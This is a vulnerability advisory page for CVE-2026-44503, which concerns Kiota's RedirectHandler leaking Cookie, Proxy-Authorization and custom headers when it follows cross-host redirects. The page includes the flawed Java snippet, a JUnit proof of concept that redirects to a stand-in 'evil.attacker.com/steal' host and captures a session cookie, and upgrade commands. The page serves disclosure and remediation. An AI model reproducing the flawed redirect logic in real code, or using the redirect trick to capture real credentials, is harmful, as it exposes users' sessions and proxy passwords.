Skip to main content

CVE-2026-44503 — Vulnerability in kiota-typescript — CVE Details

HIGH

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

Published May 7, 2026Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.94%). Schedule for your next planned update.

Does your project use an affected kiota-typescript version?

Paste your package-lock.json to check it for CVE-2026-44503 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my package-lock.json

Summary

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

  1. Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java

  2. Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}
  1. Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"

  2. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

  • Session hijacking via leaked Cookie headers
  • Corporate proxy credential theft via leaked Proxy-Authorization
  • API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Advisory Timeline

  • First published May 7, 2026 (203 days ago).
  • Last revised September 10, 2026 — 126 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update kiota-typescript to 1.0.0-preview.100 or later
npm install kiota-typescript@1.0.0-preview.100
Go
Update github.com/microsoft/kiota-http-go to 1.5.5 or later
go get github.com/microsoft/kiota-http-go@v1.5.5
Maven
Update com.microsoft.kiota:microsoft-kiota-abstractions to 1.9.1 or later
<!-- Update pom.xml dependency version to 1.9.1 for com.microsoft.kiota:microsoft-kiota-abstractions -->
NuGet
Update Microsoft.Kiota.Abstractions to 1.22.0 or later
dotnet add package Microsoft.Kiota.Abstractions --version 1.22.0
pip
Update microsoft-kiota-http to 1.9.9 or later
pip install "microsoft-kiota-http>=1.9.9"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (5)

Affects 5 ecosystems: Go (1), Maven (1), npm (1), NuGet (1), PyPI (1).

PackageFixed In
kiota-typescript npm · Affected: All versions1.0.0-preview.100
github.com/microsoft/kiota-http-go Go · Affected: All versions1.5.5
com.microsoft.kiota:microsoft-kiota-abstractions Maven · Affected: 0.1.2, 0.10.0, 0.11.0, 0.11.1 (+76 more)1.9.1
Microsoft.Kiota.Abstractions NuGet · Affected: 1.0.0, 1.0.1, 1.1.0, 1.1.1 (+84 more)1.22.0
microsoft-kiota-http PyPI · Affected: 0.1.0, 0.1.1, 0.1.2, 0.2.0 (+49 more)1.9.9

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-44503?
Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.0/10).
How do I check if my project is affected by CVE-2026-44503?
CVE-2026-44503 affects kiota-typescript, github.com/microsoft/kiota-http-go and com.microsoft.kiota:microsoft-kiota-abstractions (and 2 more). It has a 0.9% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44503 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.0

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.94%
EPSS percentile: 59.2

This is an above-median EPSS score — 59.2% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.

Also Known As

GHSA-7j59-v9qr-6fq9
GO-2026-5224
PYSEC-2026-2647

Related CVEs

  • CVE-2026-128139
    HIGH

    NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service

  • CVE-2026-63184
    HIGH

    Refitter: Unrestricted OpenAPI references permit build-host SSRF and file inclusion

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my package-lock.json